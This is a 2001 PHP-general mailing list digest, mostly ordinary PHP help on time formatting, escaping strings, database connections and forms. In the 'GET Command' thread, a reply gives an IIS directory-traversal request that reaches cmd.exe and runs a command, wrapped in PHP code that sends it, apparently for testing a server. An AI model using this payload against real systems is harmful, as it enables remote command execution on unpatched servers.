|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: php-general-digest-help
lists.php.netDate: Wed Jul 18 2001 - 03:26:12 CDT
php-general Digest 18 Jul 2001 08:26:12 -0000 Issue 762
Topics (messages 58335 through 58415):
Re: Need help with formatting time
58335 by: scott [gts]
58338 by: Jack Dempsey
displaying icons
58336 by: Petr Jùza
58339 by: Jason Bell
58340 by: Yassel Omar Izquierdo Souchay
58394 by: Dave Freeman
PHP- Smoething i don't understand
58337 by: Yassel Omar Izquierdo Souchay
PHP is cool by me.
58341 by: Sterling Hanenkamp
imap+php
58342 by: halmi yasin
Re: 50 SEX Sites in ONE Affiliate Portal.................
58343 by: zerosumzero.yahoo.com
How is the management of memory by PHP?
58344 by: Luiz Fernando \(Tuca\)
Re: GET Command
58345 by: Andrew Brampton
Time that db´s connection is keep alive
58346 by: Marcos Mathias
58349 by: Christopher Ostmo
Cannot copy a file to a dynamic folder
58347 by: Vincent Chew
58396 by: elias
Re: Post a form within a running php-script
58348 by: Gyozo Papp
58356 by: Michael Mehlmann
Setting title with header ?
58350 by: Beric Slobodan
Force new page in browser and wait commands
58351 by: Hugh Danaher
58398 by: elias
libxslt ?
58352 by: Regenfeld
How make the time
58353 by: David Tandberg-Johansen
58406 by: elias
58407 by: elias
Re: learning PHP from scratch
58354 by: Matthew Garman
Re: md5 crypt question
58355 by: tc lewis
58357 by: Jeremy Hansen
58358 by: tc lewis
58359 by: Jeremy Hansen
58361 by: Jeremy Hansen
58371 by: tc lewis
58373 by: Jeremy Hansen
a simple question
58360 by: Hamed
58362 by: Philip Hallstrom
58366 by: Rasmus Lerdorf
Re: note to PHP developers
58363 by: Michael Hall
58365 by: Jason Murray
58380 by: Michael Hall
Re: passing variables from forms to the same page repetatively
58364 by: Michael Hall
58368 by: Dave Freeman
58411 by: Tim Olsen
method=post destroys PHPSESSID??
58367 by: Dan Harrington
question
58369 by: Rhony V.
58372 by: Alex Piaz
58374 by: Jochen Kaechelin
Problem
58370 by: Rhony V.
58378 by: tttk
Re: mysql_query problem (FINALLY FIXED !!!!!!!)
58375 by: Brad Wright
Re: Known bugs with HTTP upload on Windows NT?
58376 by: Adam_Whitehead.dialog.com.au
Re: email counter
58377 by: Jack
gd lib question.
58379 by: Dave Mariner
58381 by: Rasmus Lerdorf
how to include a remote file and change relative links to non-relative
58382 by: Brett
58389 by: Aral Balkan
MySQL Query.....
58383 by: Deependra B. Tandukar
58384 by: py_sympatico
To overwrite or unregister session variables
58385 by: Joseph Blythe
58401 by: Martin Harm
PHP and XHTML
58386 by: Rose, Daniel
58393 by: Zak Greant
Regular expressions
58387 by: Philip Murray
58388 by: Jack Dempsey
58402 by: CC Zona
PHP based statistics/Graphs
58390 by: Chris Aitken
58391 by: Rasmus Lerdorf
58395 by: eschmid+sic.s.netic.de
PHP code produces ocasional segfaults.
58392 by: Santiago Romero
Command line args HELP!!!
58397 by: Paul A. Procacci
58409 by: Martin Harm
58415 by: elias
count number of email sent to us
58399 by: Jack
58403 by: halmi yasin
58404 by: Jack
58405 by: Zak Greant
58408 by: Jack
58412 by: Zak Greant
LDAP compile problem.
58400 by: Johan Vikerskog (ECS)
formating numbers to two decimal points - money - best ways
58410 by: Tim Olsen
58414 by: David Robley
Re: Extracting from arrays - alphabetically
58413 by: Tim Ward
Administrivia:
To subscribe to the digest, e-mail:
php-general-digest-subscribe
lists.php.net
To unsubscribe from the digest, e-mail:
php-general-digest-unsubscribe
lists.php.net
To post to the list, e-mail:
php-general
lists.php.net
----------------------------------------------------------------------
attached mail follows:
This will convert minutes to hours, then convert
to 12-hour am|pm based time. all hours have 60
minutes. it's simple mathematics to convert.
$m = 780;
$h = 0;
// convert to hours:minutes
while ($m >= 60) {
$h++;
$m -= 60;
}
print "$h:$m \n";
// convert to 12-hour am|pm
if (!$h) {
$suff = "am";
$h = 12;
}
elseif ($h == 12) {
$suff = "pm";
}
elseif ($h > 12) {
$suff = "pm";
$h -= 12;
}
print "$h:$m $suff";
> -----Original Message-----
> From: John Holcomb [mailto:john_6932php
yahoo.com]
> Sent: Tuesday, July 17, 2001 3:53 PM
> To: php-general
lists.php.net
> Cc: john_6932php
yahoo.com
> Subject: [PHP] Need help with formatting time
>
>
> Hello and thank you.
>
> I'm trying to find a function(method) or existing
> code taht takes the number of minutes that have passed
> in a day and returns the time of the day. For
> example:
>
> 780 minutes == 1pm,
> 0 minutes == 12am,
> etc,etc.....
>
> so I'm looking for code that when you enter the number
> of minutes, it returns the time of day.
>
> example:
>
> $some_time = foo(780);
>
> print($some_time);
>
> //prints 1:00pm
>
>
> Thnaks again.
>
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail
> http://personal.mail.yahoo.com/
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
Once again, a reminder of the smartest way to code php:
1) think for 2 seconds
2) check out php.net for documentation on functions
3) use a function (or 2) already written instead of spending time
yourself...
jack
-----Original Message-----
From: Christopher Ostmo [mailto:tech
appideas.com]
Sent: Tuesday, July 17, 2001 5:11 PM
To: Jack Dempsey
Cc: php-general
lists.php.net
Subject: RE: [PHP] Need help with formatting time
Jack Dempsey pressed the little lettered thingies in this order...
> $hours = $time / 60;
> $minutes = $time % 60;
>
> if($hours >= 12){
> $meridian = 'pm';
> $hours -= 12;
> }
> else{$meridian = 'am';}
> if($hours == 0){$hour = '12';}
>
> echo "$hours:$minutes$meridian";
>
> try something like that...haven't tested it, but it should be close...
>
That's a lot of code!
Use date() and mktime() and PHP will do all of this for you in one line.
See my previous post on the subject. I sent *tested* code that will fit
on
a single line and will do exactly what the above is doing.
Christopher Ostmo
a.k.a. tech
AppIdeas.com
AppIdeas.com
Innovative Application Ideas
Meeting cutting edge dynamic
web site needs since the
dawn of Internet time (1995)
Business Applications:
http://www.AppIdeas.com/
Open Source Applications:
http://open.AppIdeas.com/
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
Hi everybody! Please, have somebody any experience with displaying icons (type files *.ico) in web pages?
When I have a pure html file that contain <img src="abduction.ico">, all is OK - the icon is shown. But when I create a html page with assistance PHP, the icon isn't shown.
Please, could you help me?? Thank you!
Best Regards, PETER.
attached mail follows:
how are you trying to use PHP to output the html?
AFAIK, there shouldn't be any difference between:
HTML document: <IMG SRC="abduction.ico"> PHP document: print "<IMG SRC='abduction.ico'>";
You should note however that within the PHP print statement, you should to refrain from the use of quotation marks... if you must quote something, use a single quote, as I did in my example.
-JB
----- Original Message -----
From: "Petr Jùza" <petr.juza
worldonline.cz>
To: <php-general
lists.php.net>
Sent: Tuesday, July 17, 2001 12:47 PM
Subject: [PHP] displaying icons
> Hi everybody!
> Please, have somebody any experience with displaying icons (type files
> *.ico) in web pages?
>
> When I have a pure html file that contain <img src="abduction.ico">, all
is
> OK - the icon is shown.
> But when I create a html page with assistance PHP, the icon isn't shown.
>
> Please, could you help me??
> Thank you!
>
> Best Regards, PETER.
>
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
Put the same text inside php example <? echo "<img src="abduction.ico">".... the next code
----- Original Message -----
From: "Petr Jùza" <petr.juza
worldonline.cz>
To: <php-general
lists.php.net>
Sent: Tuesday, July 17, 2001 2:47 PM
Subject: [PHP] displaying icons
> Hi everybody!
> Please, have somebody any experience with displaying icons (type files
> *.ico) in web pages?
>
> When I have a pure html file that contain <img src="abduction.ico">, all
is
> OK - the icon is shown.
> But when I create a html page with assistance PHP, the icon isn't shown.
>
> Please, could you help me??
> Thank you!
>
> Best Regards, PETER.
>
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
On 17 Jul 01, at 16:30, Yassel Omar Izquierdo Souchay wrote:
> Put the same text inside php example > <? > echo "<img src="abduction.ico">".... the next code
and if you want it to work reliable do is this way:
echo "<img src=\"abduction.ico\">";
and away you go...
CYA, Dave
-----------------------------------------------------------------------
Outback Queensland Internet - Longreach, Outback Queensland - Australia
http://www.outbackqld.net.au mailto:dfreeman
outbackqld.net.au
-----------------------------------------------------------------------
attached mail follows:
Hi friends
thanks averybodoy for help me
i used the solition of "Jason Bell" bell
barkingrat.com
thanks Jason with this
> try this: > > mysql_connect("YOUR_DB_HOST","DB_USERNAME","DB_PASSWORD"); > mysql_select_db("DB"); > $query = "select * from info where FirstName='$FirstName' and > LastName='$LastName' and email='$email'"; > $result = mysql_query($query);
í already resolved the problem. much of your have reason. I didn't put the host name and the user.. Thanks again for Jason and Everybody
"This is the best PHP list"
attached mail follows:
Just thought I'd send in my testimonial. I run a web site for a relatively small business (4 employees including the President ;). Anyway, I had been using JSP and Servlets to manage our smallish web site, but in preparation for graduation and moving on to another job, we need a web site that can be managed by my boss and coworkers who know nothing of Java.
Thus, I endeavored to find a solution that would be more stable (the servlet engine was unstable from time to time, though it is highly reputed as stable). Anyway, I chose PHP over everything else because of it's resemblance to Perl and my boss' familiarity with Perl. Within hours I was able to port the entire site from JSP to PHP with all the previous functionality. (It took me much longer to design the original site in JSP.) Within hours I was able to add even more functionality to make it easier for them to maintain.
This is not meant in any way to detract from JSP, just that PHP happens to make JSP look rather inept in this particular case--especially since PHP had built-in a lot of stuff that I had to build myself in Java code. PHP does for web programming what Perl does for script programming. It makes what should be easy, easy and yet still manages to make the hard stuff easier or, at least, no harder.
Excellent product. My appreciation goes to the authors and anyone else who had a hand in this product. I have met few IT products that actually stand up to my expectations after I have put hours and days of effort into them--this one has done just that.
Thanks, Sterling
attached mail follows:
hi,
i need to create a web form to add an email account for imap uw-imap server. how to store userid and password for email accounts into the server?
have anyone ever done this before? can anyone show me how to do this? i really have no idea. reading imap's rfc and docs doesnt help me.
HELP. SOS.
thanks in advance.
-------- halmi/
/** http://affroman.com **/
attached mail follows:
on 7/17/01 4:32 PM, Christopher Ostmo at tech
appideas.com wrote:
> But I do! I do! I LOVE Adult Entertainment. The Godfather and > Shawshank Redemption are two of my favorite movies!
Oh my god! So do I. Let's go for it Chris!
Susan
-- susanfuturebird.com http://futurebird.diaryland.com
attached mail follows:
Somebody know how it is the management of memory by PHP?
Thanks
Luiz Fernando
attached mail follows:
that is basically going to the URL www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
so do what the other guy said
> $site = fopen(http://www.whatever.com/, "r"); > $contents = fread($site, 102400); > fclose($site);
but like this:
> $site = fopen(http://www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/ c+dir+c:\, "r"); > $contents = fread($site, 102400); > fclose($site);
BTW there are MANY MANY MANY versions of this vulenabilty. so just checking this one won't cover them all. Check out www.SecurityFocus.com and click the Vulnibilitys link on the left
Andrew
----- Original Message -----
From: "Clayton Dukes" <cdukes
cdukes.com>
To: "Matthew Loff" <matt
willetts.com>; <php-general
lists.php.net>
Sent: Tuesday, July 17, 2001 7:37 PM
Subject: Re: [PHP] GET Command
> MessageHi,
> Here's what I'm trying to do:
>
> I want to test an IIS server for an invulnerability. This is done by
sending
> a GET command to test for it.
> Here's a blurb from the security advisory that I am working with:
>
> ---snip---
> A scan is performed over some region of the Internet, searching for web
> servers accepting TCP connections on port 80. A specially formed "HTTP
GET"
> request is then sent over the accepted connection to the server:
> GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
> ---snip---
>
> How can I do a simple page where, the user inputs the url
(www.whatever.com)
> And it runs this test, telling the user if it passes or fails, and returns
> the output?
>
> Btw, the security advisory comes from http://grc.com/dos/grcdos.htm which
> outlines some very interesting things happening with IRC based DoS
attacks,
> in case your interested.
>
>
> Thanks!
>
>
> Clayton Dukes
> CCNA, CCDA, CCDP, CCNP
> (c) 904.477.7825
> (h) 904.292.1881
> Download Free Essays, Term Papers and Cisco Training from
http://www.gdd.net
>
>
> ----- Original Message -----
> From: Matthew Loff
> To: 'Clayton Dukes' ; php-general
lists.php.net
> Sent: Tuesday, July 17, 2001 2:11 PM
> Subject: RE: [PHP] GEt Command
>
>
>
> $site = fopen(http://www.whatever.com/, "r");
> $contents = fread($site, 102400);
> fclose($site);
>
> -----Original Message-----
> From: Clayton Dukes [mailto:cdukes
cdukes.com]
> Sent: Tuesday, July 17, 2001 2:08 PM
> To: php-general
lists.php.net
> Subject: [PHP] GEt Command
>
>
> Does anyone have a simple script that will GET a web page and return the
> reply?
>
> Something like this:
>
> function getpage($host, $path, getstr) {
> $getstr="whatever\r\n";
> $host=www.whatever.com;
>
> $hdr=sprintf("GET $getstr", $path);
> $hdr .="Content-type: application/x-www-form-urlencoded\r\n";
> $hdr .="Accept: text/html\r\nAccept: text/plain\r\n";
> $hdr .="User-Agent: Mozilla/1.0\r\n\r\n";
>
> $fp = fsockopen($host , 80, &$errno, &$errstr, 45);
> if (!$fp) {
> echo "$host open error: $errstr $errno .\n";
> return(0);
> } else {
> fputs($fp,$hdr.$poststr);
> return($fp);
> }
> }
>
> while (!feof($fp)) {
> $buff=fgets($fp, 1024);
> //dofoo($buff);
> echo "$buff";
> }
> fclose($fp);
>
>
> TIA!
>
> Clayton Dukes
> CCNA, CCDA, CCDP, CCNP
> (c) 904.477.7825
> (h) 904.292.1881
> Download Free Essays, Term Papers and Cisco Training from
http://www.gdd.net
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
People!
Someone can tell me if PHP 4 closes their connections to the DB automatically at the end of the script? Or I need to use the mssql_close function each time my work is done?
Best Regards!
Marcos Mathias
attached mail follows:
Marcos Mathias pressed the little lettered thingies in this order...
> People! > > Someone can tell me if PHP 4 closes their connections to the DB > automatically at the end of the script? > Or I need to use the mssql_close function each time my work is done? > > Best Regards! >
From: http://www.php.net/manual/en/function.mysql-connect.php The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling {HYPERLINK "function.mysql-close.php"}mysql_close().
From: http://www.php.net/manual/en/function.mysql-pconnect.php Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use ({HYPERLINK "function.mysql-close.php"}mysql_close() will not close links established by mysql_pconnect()).
So... if you use mysql_connect(), your connections are automatically closed at script completion with or without mysql_close(). If you use mysql_pconnect(), your connections stay open whether you use mysql_close() or not.
Your MySQL server will close unused connections after they have been unused for a set period of time. Connections that are left open will be re-used if a request is made, so it's not like leaving a process hanging out in space.
Leaving the connection open reduces the processing overhead that is necessary to open and destroy a connection on every request, so it is generally considered worth the extra memory required to keep connections open that are not being used, but probably will be used shortly.
Only the person/people familiar with your server and/or web site can determine which is best: close connections at the cost of overhead for each connection or leave them open at the cost of requiring extra operating memory and system resources.
Decisions, decisions...
Christopher Ostmo
a.k.a. tech
AppIdeas.com
AppIdeas.com
Innovative Application Ideas
Meeting cutting edge dynamic
web site needs since the
dawn of Internet time (1995)
Business Applications: http://www.AppIdeas.com/
Open Source Applications: http://open.AppIdeas.com/
attached mail follows:
I get a parse error every time and I've modified the scripts a bunch of times already.
// Make new directory function $default_dir = ("D:\www\Proj\$textfield2\"); if(file_exists($default_dir)) rmdir($default_dir); mkdir($default_dir, 0777);
// Copy template.html to new directory $filename = D:Automator\auto_2\Template.html; copy($filename, ($default_dir) .overview.html);
Can I not have these two scripts run together? The mkdir function alone works. Can someone tell me what I'm doing wrong?
Thank you.
attached mail follows:
Hi!
when you use the "\" character in a string you have to escape it by putting "\\" instead of one!
> $default_dir = ("D:\www\Proj\$textfield2\"); would become: $default_dir = "D:\\www\\Proj\\$textfield2\\";
do the same for the $filename variable.
"Vincent Chew" <vchew
cisco.com> wrote in message
news:3B54BBE5.C0D95EBE
cisco.com...
> I get a parse error every time and I've modified the scripts a bunch of
> times already.
>
> // Make new directory function
> $default_dir = ("D:\www\Proj\$textfield2\");
> if(file_exists($default_dir)) rmdir($default_dir);
> mkdir($default_dir, 0777);
>
> // Copy template.html to new directory
> $filename = D:Automator\auto_2\Template.html;
> copy($filename, ($default_dir) .overview.html);
>
> Can I not have these two scripts run together? The mkdir function alone
> works. Can someone tell me what I'm doing wrong?
>
> Thank you.
>
attached mail follows:
Hello,
I've read a pretty good article on Zend: http://www.zend.com/zend/spotlight/mimocsumissions.php
hth,
Papp Gyozo
- pgerzson
freestart.hu
----- Original Message -----
From: "Bob Horton" <bhorton
whatevercomputes.com>
To: "Chris Anderson" <chrisderson
ameritech.net>; <sed
sed.is>; <php-general
lists.php.net>
Sent: 2001. július 9. 07:17
Subject: RE: [PHP] Post a form within a running php-script
> What if someone wanted to reply to a form but the form was expecting the
> information to arrive using the POST method (and wasn't explicitly PHP)?
>
> Is there any way to do it if you want to submit to a POST method form? Or
> some way to simulate the entering of the information and clicking of the
> submit button?
>
> > -----Original Message-----
> > From: Chris Anderson [mailto:chrisderson
ameritech.net]
> > Sent: Friday, July 06, 2001 5:52 PM
> > To: sed
sed.is; php-general
lists.php.net
> > Subject: Re: [PHP] Post a form within a running php-script
> >
> >
> > Yes, replace spaces with + signs
> > ----- Original Message -----
> > From: "SED" <sed
sed.is>
> > To: "'Chris Anderson'" <chrisderson
ameritech.net>;
> > <php-general
lists.php.net>
> > Sent: Friday, July 06, 2001 7:24 PM
> > Subject: RE: [PHP] Post a form within a running php-script
> >
> >
> > I thought that at first but I need to post long variables (some
> > containing many words) and many, is that okay?
> >
> > -----Original Message-----
> > From: Chris Anderson [mailto:chrisderson
ameritech.net]
> > Sent: 6. júlí 2001 23:08
> > To: sed
sed.is; php-general
lists.php.net
> > Subject: Re: [PHP] Post a form within a running php-script
> >
> >
> > Put the variables in the url ie:
> > script.php?username=joebob&password=joepassword
> > ----- Original Message -----
> > From: "SED" <sed
sed.is>
> > To: <php-general
lists.php.net>
> > Sent: Friday, July 06, 2001 6:30 PM
> > Subject: [PHP] Post a form within a running php-script
> >
> >
> > > For a special purpose I want to post a form within a running script,
> > > is it possible? I don't need the feedback, only post it to a
> > > http-path. (To clarify, I'm not asking about Submitting a form via
> > > button.)
> > >
> > > Regards,
> > > Sumarlidi Einar Dadason
> > >
> > > SED - Graphic Design
> > >
> > > ------------------------------------------
> > > Phone: (+354) 4615501
> > > Mobile: (+354) 8960376
> > > Fax: (+354) 4615503
> > > E-mail: sed
sed.is
> > > Homepage: www.sed.is
> > > ------------------------------------------
> > >
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > For additional commands, e-mail: php-general-help
lists.php.net
> > > To contact the list administrators, e-mail:
> > php-list-admin
lists.php.net
> > >
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
> >
> >
> >
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
cURL http://curl.haxx.se/ does what you want!
hth, too Michi
> Hello,
>
> I've read a pretty good article on Zend:
> http://www.zend.com/zend/spotlight/mimocsumissions.php
>
> hth,
>
> Papp Gyozo
> - pgerzson
freestart.hu
>
> ----- Original Message -----
> From: "Bob Horton" <bhorton
whatevercomputes.com>
> To: "Chris Anderson" <chrisderson
ameritech.net>; <sed
sed.is>;
> <php-general
lists.php.net>
> Sent: 2001. július 9. 07:17
> Subject: RE: [PHP] Post a form within a running php-script
>
>
> > What if someone wanted to reply to a form but the form was expecting
> the
> > information to arrive using the POST method (and wasn't explicitly
> PHP)?
> >
> > Is there any way to do it if you want to submit to a POST method form?
> Or
> > some way to simulate the entering of the information and clicking of
> the
> > submit button?
> >
> > > -----Original Message-----
> > > From: Chris Anderson [mailto:chrisderson
ameritech.net]
> > > Sent: Friday, July 06, 2001 5:52 PM
> > > To: sed
sed.is; php-general
lists.php.net
> > > Subject: Re: [PHP] Post a form within a running php-script
> > >
> > >
> > > Yes, replace spaces with + signs
> > > ----- Original Message -----
> > > From: "SED" <sed
sed.is>
> > > To: "'Chris Anderson'" <chrisderson
ameritech.net>;
> > > <php-general
lists.php.net>
> > > Sent: Friday, July 06, 2001 7:24 PM
> > > Subject: RE: [PHP] Post a form within a running php-script
> > >
> > >
> > > I thought that at first but I need to post long variables (some
> > > containing many words) and many, is that okay?
> > >
> > > -----Original Message-----
> > > From: Chris Anderson [mailto:chrisderson
ameritech.net]
> > > Sent: 6. júlí 2001 23:08
> > > To: sed
sed.is; php-general
lists.php.net
> > > Subject: Re: [PHP] Post a form within a running php-script
> > >
> > >
> > > Put the variables in the url ie:
> > > script.php?username=joebob&password=joepassword
> > > ----- Original Message -----
> > > From: "SED" <sed
sed.is>
> > > To: <php-general
lists.php.net>
> > > Sent: Friday, July 06, 2001 6:30 PM
> > > Subject: [PHP] Post a form within a running php-script
> > >
> > >
> > > > For a special purpose I want to post a form within a running
> script,
> > > > is it possible? I don't need the feedback, only post it to a
> > > > http-path. (To clarify, I'm not asking about Submitting a form via
> > > > button.)
> > > >
> > > > Regards,
> > > > Sumarlidi Einar Dadason
> > > >
> > > > SED - Graphic Design
> > > >
> > > > ------------------------------------------
> > > > Phone: (+354) 4615501
> > > > Mobile: (+354) 8960376
> > > > Fax: (+354) 4615503
> > > > E-mail: sed
sed.is
> > > > Homepage: www.sed.is
> > > > ------------------------------------------
> > > >
> > > >
> > > > --
> > > > PHP General Mailing List (http://www.php.net/)
> > > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > > For additional commands, e-mail: php-general-help
lists.php.net
> > > > To contact the list administrators, e-mail:
> > > php-list-admin
lists.php.net
> > > >
> > >
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > For additional commands, e-mail: php-general-help
lists.php.net
> > > To contact the list administrators, e-mail:
> php-list-admin
lists.php.net
> > >
> > >
> > >
> > >
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail:
> php-list-admin
lists.php.net
> >
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
-- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.netGMX Tipp:
Machen Sie Ihr Hobby zu Geld bei unserem Partner 1&1! http://profiseller.de/info/index.php3?ac=OM.PS.PS003K00596T0409a
attached mail follows:
I have this code:
$size = filesize("$file"); $fh = fopen("$file", "r"); $name = basename($file); header("Content-Type: application/octet-stream"); header("Content-Length: $size"); header("Content-Disposition:$attachment filename=$name"); header("Content-Transfer-Encoding: binary"); fpassthru($fh);
How can I set title of window ? It works only if I set it (with echo"<TITLE>") before fpassthru, but then if file is image or text, it displays unformatted data
TIA Beric Slobodan
attached mail follows:
Help, I'm new to php, and to writing software in general. Enough said on that. What I want to do, is to have my program wait for user input on a <form> and once data is submitted, to have the browser (IE5) generate a new page. Right now, my program runs straight through input forms and appends everything to the existing page. I now accomplish this by running several connected php programs, but want to do it in one program. I've looked throughout the php manual and website but have yet to find the right commands. Your help is greatly appreciated. Hugh
attached mail follows:
a simple example:
<?php if (isset($submit)) { // process something here with all form's variable //example: echo "<!-- This page is created for $username -->"; } ?> <html> <head><title>test!</title></head> <body> <form> name:<input type="text" name="username"><br> <input type="submit" name="submit"> </body> </html>
In this example you won't see the comment in the start of the page unless the user processes the form.
"Hugh Danaher" <hdanaher
earthlink.net> wrote in message
news:002501c10f17$876cbf40$2afeb3d1
default...
Help, I'm new to php, and to writing software in general. Enough said on
that. What I want to do, is to have my program wait for user input on a
<form> and once data is submitted, to have the browser (IE5) generate a new
page. Right now, my program runs straight through input forms and appends
everything to the existing page. I now accomplish this by running several
connected php programs, but want to do it in one program. I've looked
throughout the php manual and website but have yet to find the right
commands.
Your help is greatly appreciated.
Hugh
attached mail follows:
hi,
just a few questions ;-)
will there be a libxslt-extension available in the near future? I heard it will be featured in v.4.1? Or are there any alternatives to sablotron?
thanx, regenfeld
attached mail follows:
Hello!
I am trying to make an online booking script for a client (restaurant), and I am using MySQL to store the booking information The restaurant have openings hour from 11:00 -> 01:00, but do only take reservation between 11:00->22:30. The client wants to get a report written out over each hour like this:
11:00 2 Customers 11:15 32 Customers 11:30 12 Customers .... .... 22:30 14 Customers
In the MySQL table I have set up the time field as 'time' with 00:00:00 as default.
Everything is ok, but I am stuck on how to make this report. The customer have set an interval of 15 mnutes between possible time to book, so I have to make an 'SELECT'-query based on when the restaurant opens to the time of the last possible booking time. But how do I make the timeset (11:00:00 and up to 22:30:00)
My far out example: interval = 15; while (time<=endtime){ time=starttime DBCONNECTION Select * from booking wher tine_field='time' time = time+interval }
Do anyone have any tips on how I can solve this
David
attached mail follows:
select count(*) from test1 where MINUTE(tm1) >= 15 and MINUTE(tm1) <= 30 and HOUR(tm1)=12
this query will return you on column containing how many record found in that time range, same as how many customers where surfed at that time where 30-15=interval and 12 is the hour you're checking in!
"David Tandberg-Johansen" <david
datajo.no> wrote in message
news:20010717233605.94548.qmail
pb1.pair.com...
> Hello!
>
> I am trying to make an online booking script for a client (restaurant),
and
> I am using MySQL to store the booking information
> The restaurant have openings hour from 11:00 -> 01:00, but do only take
> reservation between 11:00->22:30.
> The client wants to get a report written out over each hour like this:
>
> 11:00 2 Customers
> 11:15 32 Customers
> 11:30 12 Customers
> ...
> ...
> 22:30 14 Customers
>
> In the MySQL table I have set up the time field as 'time' with 00:00:00 as
> default.
>
> Everything is ok, but I am stuck on how to make this report. The customer
> have set an interval of 15 mnutes between possible time to book, so I have
> to make an 'SELECT'-query based on when the restaurant opens to the time
of
> the last possible booking time. But how do I make the timeset (11:00:00
and
> up to 22:30:00)
>
> My far out example:
> interval = 15;
> while (time<=endtime){
> time=starttime
> DBCONNECTION
> Select * from booking wher tine_field='time'
> time = time+interval
> }
>
> Do anyone have any tips on how I can solve this
>
> David
>
>
attached mail follows:
select count(*) from test1 where MINUTE(tm1) >= 15 and MINUTE(tm1) <= 30 and HOUR(tm1)=12
this query will return you on column containing how many record found in that time range, same as how many customers where surfed at that time where 30-15=interval and 12 is the hour you're checking in!
"David Tandberg-Johansen" <david
datajo.no> wrote in message
news:20010717233605.94548.qmail
pb1.pair.com...
> Hello!
>
> I am trying to make an online booking script for a client (restaurant),
and
> I am using MySQL to store the booking information
> The restaurant have openings hour from 11:00 -> 01:00, but do only take
> reservation between 11:00->22:30.
> The client wants to get a report written out over each hour like this:
>
> 11:00 2 Customers
> 11:15 32 Customers
> 11:30 12 Customers
> ...
> ...
> 22:30 14 Customers
>
> In the MySQL table I have set up the time field as 'time' with 00:00:00 as
> default.
>
> Everything is ok, but I am stuck on how to make this report. The customer
> have set an interval of 15 mnutes between possible time to book, so I have
> to make an 'SELECT'-query based on when the restaurant opens to the time
of
> the last possible booking time. But how do I make the timeset (11:00:00
and
> up to 22:30:00)
>
> My far out example:
> interval = 15;
> while (time<=endtime){
> time=starttime
> DBCONNECTION
> Select * from booking wher tine_field='time'
> time = time+interval
> }
>
> Do anyone have any tips on how I can solve this
>
> David
>
>
attached mail follows:
On Tue, Jul 17, 2001 at 04:55:11PM +1000, Jason Rennie wrote: > > > This approach worked pretty well with previous people i teached > > > PHP, but they already had some sort of programming background. > > > This guy hasn't. I find that he has some difficulties picking > > > it up. And I have some difficulties to further help him. > > > > Is he having problems with PHP, or database interaction with PHP? > > It sounds like he might be having problems with the basic programming > concepts. > > Are you teaching him and then getting the guy to actaully try some for > himself ? > > Start with something really basic, (hello world) and get him to do a > couple of dynamic things that dont use the database, then introduce the db > slowly.
After the "hello world," I would have him print it 10 times. First let him hardcode 10 echoes, then show him how a for loop works. Since the concept is almost the same, once he understands the for loop, have him do it on his own with a while loop.
To expand on that, you might have each iteration of the loop print in different formatting, e.g. <p>, <h3>, <font color=xxxxxx>.
Then have him build an array of strings, and use a for loop to create an (un)ordered list from the array <ul/ol>. Then have him build a 2D array and create a table from it.
The next step might be to have him create an HTML form that accepts a number from a user in a text box. The user enters a number, and submitting calls a PHP script that prints "hello world" as many times as the input specified.
Just some suggestions, hope they help, Matt
-- Matt Garman, garmanuiuc.edu "I'll tip my hat to the new constitution, Take a bow for the new revolution Smile and grin at the change all around, Pick up my guitar and play Just like yesterday, Then I'll get on my knees and pray..." -- Pete Townshend/The Who, "Won't Get Fooled Again"
attached mail follows:
